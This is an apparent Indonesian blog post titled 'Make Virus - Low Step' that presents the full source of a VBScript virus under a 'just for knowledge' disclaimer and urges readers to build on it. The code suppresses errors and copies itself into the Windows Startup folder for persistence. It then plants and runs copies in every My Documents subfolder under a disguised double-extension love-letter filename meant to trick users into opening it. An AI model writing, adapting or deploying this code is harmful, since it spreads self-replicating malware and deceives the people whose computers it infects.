Make Virus - Low Step

ATTANTION! Just for knowledge!
Virus script code, write in visual basic script with notepad.

ini contoh script virus yang pertama saya pelajari dan tak buat. sebagai dasar saja. and be creative.
'-------------- code start ------------------
'//* Berikut adalah tugas untuk mengkopikan ke spesial folder startup *//
'//* Berfungsi virus dpt berjalan pd saat windows booting *//

'//* Jika error lanjutkan perintah selanjutnya *//
On error resume next

'//* Deklarasi fungsi object *//
Dim FSO, Induk, WSH, Sasaran, cPath

'//* setting setiap deklarasi object *//
Set FSO = CreateObject("Scripting.FileSystemObject")
set Induk = FSO.GetFile(Wscript.ScriptFullName)
Set WSH = CreateObject("Wscript.Shell")

'//* Mendapatkan folder startup *//
Launch = WSH.SpecialFolders("Startup")

'//* Copy induk dengan nama boot.vbs *//
Induk.Copy (Launch & "\boot.vbs")

'//* Copy Induk di folder my document *//
Launch = WSH.SpecialFolders("MyDocuments")

'//* Infeksi folder my document *//
InfeksiFolder Launch

'//* Membuat Sub untuk menginfeksi Folder my document *//
Sub InfeksiFolder(cPath)
on error resume next

For Each Sasaran in FSO.GetFolder(cPath).SubFolders
Induk.Copy(Sasaran & "\Surat Cinta buat Clara.txt.vbs")
WSH.Run(Sasaran & "\Surat Cinta buat Clara.txt.vbs")

Next
End Sub
'------------- end of file ----------------



sumber : situs sebelah by ka**m